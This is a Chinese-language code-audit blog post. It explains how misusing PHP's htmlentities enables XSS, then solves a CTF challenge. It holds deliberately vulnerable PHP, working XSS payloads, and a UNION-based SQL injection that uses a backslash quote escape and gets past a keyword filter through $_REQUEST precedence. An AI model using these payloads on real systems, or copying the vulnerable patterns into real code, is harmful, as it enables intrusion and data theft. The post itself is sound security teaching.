0%

代码审计--误用htmlentities函数引发的漏洞

漏洞源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$sanitized = [];

foreach ($_GET as $key => $value) {
$sanitized[$key] = intval($value);
}

$queryParts = array_map(function ($key, $value) {
return $key . '=' . $value;
}, array_keys($sanitized), array_values($sanitized));

$query = implode('&', $queryParts);

echo "<a href='/images/size.php?" .
htmlentities($query) . "'>link</a>";

漏洞解析

htmlentities 函数

htmlentities —- 将字符转换为 HTML 转义字符

string htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get(“default_charset”) [, bool $double_encode = true ]]] )

作用: 在写PHP代码时,不能在字符串中直接写实体字符,PHP提供了一个将HTML特殊字符转换成实体字符的函数 htmlentities()。

: htmlentities() 并不能转换所有的特殊字符,是转换除了空格之外的特殊字符,且单引号和双引号需要单独控制(通过第二个参数)。第2个参数取值有3种,分别如下:

  • ENT_COMPAT(默认值):只转换双引号。
  • ENT_QUOTES:两种引号都转换。
  • ENT_NOQUOTES:两种引号都不转换。

特别注意,它对\是不转义的
附上一个【HTML字符实体表】

漏洞详解

我们可以知道,$query参数可控,且 htmlentities 函数在这里可逃逸单引号 ,然后就是结合a标签。我们xss的paylaod为:

1
2
/?a'onclick%3dalert(1)%2f%2f或者 (%3d为=,%2f为// )
/?a'onclick%3d'alert(1)

这里后面的 // 到底是什么意思呢?不是行注释,不然为什么可以显示后面的 link 。经测试法向其假如后可以将后面不正确步骤全部注释掉,如果是正确的加上也无妨,正神奇呀。

CTF 题目源码

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#php7.0以下版本使用
<?php
if(isset($_REQUEST['username'])){
if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['username'])){
die("Attack detected!!!");
}
}
if(isset($_REQUEST['password'])){
if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['password'])){
die("Attack detected!!!");
}
}
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);

}
echo htmlentities($str, ENT_QUOTES)."<br/>";
return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);


$query='SELECT * FROM day12.users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
echo $query."<br/>";
$conn = mysql_connect('localhost','root','root','day12');
$result=mysql_query($query);
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}

?>

sql

1
2
3
4
5
6
7
8
9
create databse day12;
CREATE TABLE `users` (
`Id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(255) DEFAULT NULL,
`pass` varchar(255) DEFAULT NULL,
`flag` varchar(255) DEFAULT NULL,
PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
INSERT INTO `users` VALUES (1,'admin','qwer!@#zxca','hrctf{sql_Inject1on_Is_1nterEst1ng}');

CTF 题解

htmlentities 函数利用

这里htmlentities的可选参数选的是ENT_QUOTES也就是说单引号和双引号都进行转换了。但是我们看看转换特殊字符的表,其中不包括\那么我们可以用它来达到转义的效果。

我们看看效果,当我们输入payload为:

1
?username=\&password=123

返回结果如下:

其实此时name='AND pass123'是多余的。那么如果我们使用payload:

1
?password=union%20select%201,flag,3,4+from+day12.users%23&username=\

不就可以得到我们的flag了?但是这里进行了过滤:

1
2
3
4
5
if(isset($_REQUEST['password'])){
if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['password'])){
die("Attack detected!!!");
}
}

request传数据方式

我们看到是通过 request 方式传入数据,而php中 REQUEST 变量默认情况下包含了 GET ,POST 和 COOKIE 的数组。在 php.ini 配置文件中,有一个参数 variables_order ,这参数有以下可选项目:

1
2
3
4
; variables_order
; Default Value: "EGPCS"
; Development Value: "GPCS"
; Production Value: "GPCS"

这些字母分别对应的是 E: Environment ,G:Get,P:Post,C:Cookie,S:Server。这些字母的出现顺序,表明了数据的加载顺序。而 php.ini 中这个参数默认的配置是 GPCS ,也就是说如果以 POST 、 GET 方式传入相同的变量,那么用 REQUEST 获取该变量的值将为 POST 该变量的值。
也就是说我们在传上面的payload的同时post一个虚假的name和pass。最后:

1
2
get:  ?password=union%20select%201,flag,3,4+from+day12.users%23&username=\
post: password=1&username=2

-------------本文结束感谢您的阅读-------------